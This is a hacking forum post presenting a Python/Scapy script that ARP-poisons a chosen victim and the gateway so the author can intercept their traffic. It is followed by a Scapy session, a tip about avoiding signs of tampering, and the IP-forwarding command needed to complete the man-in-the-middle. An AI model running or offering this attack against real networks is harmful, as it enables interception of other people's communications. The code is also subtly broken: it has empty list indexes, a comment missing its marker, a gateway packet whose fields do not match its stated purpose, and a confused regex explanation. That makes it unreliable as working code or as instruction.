[+] Poisoning the ARP table with Python

No replies
Erra
Erra's picture
Offline
Neophyte
Joined: 2014/05/01

Okay I know it's been ages since I've posted anything here or practiced/learning hacking in general. I figured I'd throw this in. One of the basic things to be able to do as a hacker is to become the router to someone va ARP spoofing (aka ARP poisonng). That way you can have the ability to intercept/sniff traffic between two hosts. While the original tool that does this is great it should be fun to understand how it works; and even improve it, which is what I'll do.

So let's assume you used netdiscover to scan the network you're on for a victim's MAC address, you have it on hand and you want to fool the victim's ARP table so that the gateway becomes you instead of the actual router for the network. Then Scapy becomes your tool to the rescue. Now the issue with the way ARP spoofing is traditionally done is you open two terminals, then on one terminal you're spoofing the gateway for the victim, and on the other you're fooling the gateway to think it has the victim's MAC address. The issue with this is that due to the nature of how the packets are being sent, the timing is off and your ARP response packets used to fool the victim wont be sent through the NIC doing the poisoning in a fluid manner. What will happen is that the victim will have its connection continuously dropping because the router will reconfigure the ARP responses to match the default. This is trouble for the hacker because this gives evidence of tampering and subversion will just be at risk.

So I figured why not have the packets sent within the same program that way the packets can flow in a proper manner so that the victim will keep the poisoning consistent? So I made this after 3 hours of procrastination and much needed effort using Python3:

#!/usr/bin/python3
import scapy.all as scapy
from optparse import OptionParser
import subprocess
import re

#This is to get the arguments
def getParams():
        parser=OptionParser()
        parser.add_option("-i", "--pinterface", dest="PoisonInterface",  help="Define interface to perform Poison With")
        parser.add_option("-v", "--victim", dest="vicIP", help="Define IP address of victim")
        parser.add_option("-m", "--victim-mac", dest="vicMAC", help="Define MAC address of victim")
        parser.add_option("-g", "--default-gateway", dest="defaultGateway", help="Define the default gateway")
        options=parser.parse_args()[]
        return options

#This is to extract the poisoning interface's detals  
def intExtract(interface):
        command = subprocess.check_output(["ip","link","show", interface]).decode()
        mac=re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", command)
        command = subprocess.check_output(["ip","address","show", interface]).decode()
        ip= re.search(r"\d+\.\d+\.\d+\.\d+",command)
        return (mac.group(),ip.group())

#Obviously to perform the poisoning
def poison(pMAC,pIP,vMAC,vIP,dg):
        #Create a response packet with option 2 which means "has-ip", ntoe psrc and hwsrc
        poisonPkt=scapy.Ether(src=pMAC,dst=vMAC)/scapy.ARP(op=2,pdst=vIP,hwsrc=pMAC, psrc=dg, hwdst=vMAC)
        #Create a response for the gateway to think it's talking to victim
        poisonPktGW=scapy.ARP(op=2,pdst=dg, hwsrc=vMAC,psrc=pIP)

        Send out to the poison packets!
        while(1):
                scapy.sendp(poisonPkt)
                scapy.sendp(poisonPktGW)

if __name__ == '__main__':
        #Get the arguments
        inputs=getParams()
        pinterface=inputs.PoisonInterface
        victimIP=inputs.vicIP
        victimMAC=inputs.vicMAC
        gateway= inputs.defaultGateway

        #Extract poison interface info
        extraction=intExtract(pinterface)
        poisonerIP=extraction[1]
        poisonerMAC=extraction[]

        #Perform the poisoning!
        poison(poisonerMAC,poisonerIP,victimMAC,victimIP,gateway)

A seasoned programmer can recognize what I've done here, and because I'm lazy I didn't even bother to multithread the sending of the poison packets, although I could've, it's not really necessary. Now if you've studied networking, you'd know frames (OH GOD yes I know I ignore the abstraction between packets and frames, but try to keep thinking simple) are what's actually worked with to get packets flowing, the job of the networking devices is to literally transport the packet, but each time it's traversing a device the Layer 2 header is removed from the frame, leaving just the IP packet, and then create a new frame with a new header containing the destination MAC being the MAC of the next device it goes to. Wonderful!

So mention this because you can literally manipulate the destination and source MAC addresses or IP addresses using Scapy. I personally love Scapy because it's native to Linux distros that have Python installed. So lets open Scapy and as I go through these commands I want you to pay attention to what I'm doing to examine the contents of the packet, you'll get a quick and easy crash course on how to construct any fucking packet the way you want to for any Protocol.

$scapy
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
INFO: Can'
t import python-cryptography v1.7+. Disabled IPsec encryption/authentication.
                                     
                     aSPY//YASa      
             apyyyyCY//////////YCa       |
            sY//////YSpcs  scpCY//Pp     | Welcome to Scapy
 ayp ayyyyyyySCP//Pp           syY//C    |
 AYAsAYYYYYYYY///Ps              cY//S   |
         pCCCCY//p          cSSps y//Y   |
         SPPPP///a          pP///AC//Y   |
              A//A            cyP////C   | Have fun!
              p///Ac            sC///a   |
              P////YCpc           A//A   | We are in France, we say Skappee.
       scccccp///pSP///p          p//Y   | OK? Merci.
      sY/////////y  caa           S//P   |             -- Sebastien Chabal
       cayCyayP//Ya              pY/Ya   |
        sY/PsY////YCc          aC//Yp
         sc  sccaCY//PCypaapyCP//YSs  
                  spCPY//////YPSps    
                       ccaacs        
                                       using IPython 7.14.0
>>> lsc()                                                                                                
sendp               : Send packets at layer 2
....
>>> ls()                                                                                                  
AH         : AH
AKMSuite   : AKM suite
ARP        : ARP
...
>>> ARP().show()                                                                                        
###[ ARP ]###
  hwtype= 0x1
  ptype= IPv4
  hwlen= None
  plen= None
  op= who-has
  hwsrc= c4:e9:84:xx:xx:xx
  psrc= 10.0.0.5
  hwdst= 00:00:00:00:00:00
  pdst= 0.0.0.0
>>> print(sendp.__doc__)                                                                                
Send packets at layer 2
sendp(packets, [inter=], [loop=], [iface=None], [iface_hint=None], [count=None], [verbose=conf.verb],  # noqa: E501
      [realtime=None], [return_packets=False], [socket=None]) -> None

>>> print(sr1.__doc__)                                                                                  
Send packets at layer 3 and return only the first answer
    pks: SuperSocket instance to send/receive packets
    pkt: the packet to send
    rcv_pks: if set, will be used instead of pks to receive packets.
             packets will still be sent through pks
    nofilter: put 1 to avoid use of BPF filters
    retry:    if positive, how many times to resend unanswered packets
              if negative, how many times to retry when no more packets
              are answered
    timeout:  how much time to wait after the last packet has been sent
    verbose:  set verbosity level
    multi:    whether to accept multiple answers for the same stimulus
    store_unanswered: whether to store not-answered packets or not.
                      setting it to False will increase speed, and will return
                      None as the unans list.
    process:  if specified, only result from process(pkt) will be stored.
              the function should follow the following format:
                lambda sent, received: (func(sent), func2(received))
              if the packet is unanswered, `received` will be None.
              if `store_unanswered` is False, the function won't be called on
              un-answered packets.
    prebuild: pre-build the packets before starting to send them. Automatically
              enabled when a generator is passed as the packet

>>> Ether().show()                                                                                      
WARNING: Mac address to reach destination not found. Using broadcast.
###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= c4:e9:84:14:e4:06
  type= LOOP

>>> frame=Ether()/ARP()                                                                                
>>> frame.show()                                                                                        
WARNING: getmacbyip failed on [Errno 1] Operation not permitted
WARNING: Mac address to reach destination not found. Using broadcast.
###[ Ethernet ]###
  dst= ff:ff:ff:ff:ff:ff
  src= c4:e9:84:14:e4:06
  type= ARP
###[ ARP ]###
     hwtype= 0x1
     ptype= IPv4
     hwlen= None
     plen= None
     op= who-has
     hwsrc= c4:e9:84:14:e4:06
     psrc= 10.0.0.5
     hwdst= 00:00:00:00:00:00
     pdst= 0.0.0.0

>>>  

If you're smart enough, you should be able to deduce what's going on. The lines on the Poison() function in my ARP spoof script should allow you to put 2 and two together. Something to note is that all devices have a timer on their ARP caches. That should give some leeway into thinking about how to defend agianst poisoning.

Oh and if you need help understanding regex strings, learn how to use this:https://pythex.org/
Essentally lets say I want to extract the first occurance of an IP from this command:

inet 10.0.0.9/24 brd 10.0.0.255 scope global dynamic noprefixroute wlp1s0f0u4
       valid_lft 73272sec preferred_lft 73272sec
    inet6 fe80::6936:ebd2:7241:eaf/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Then looking at the guideline given in Pythex, "\w\w:" should give match all the occurences of like c4: and so on. Play around with it, regex strings are predominantly important for the saavy Python network engineer and Django dev.

Always remember that poisoning cannot work unless you have your hacking machine forwarding the packets, to do this read this: https://www.ducea.com/2006/08/01/how-to-enable-ip-forwarding-in-linux/
and just run:

sysctl -w net.ipv4.ip_forward=1 #may need sudo

"This is our world now... the world of the electron and the switch, the
beauty of the baud."
-The Mentor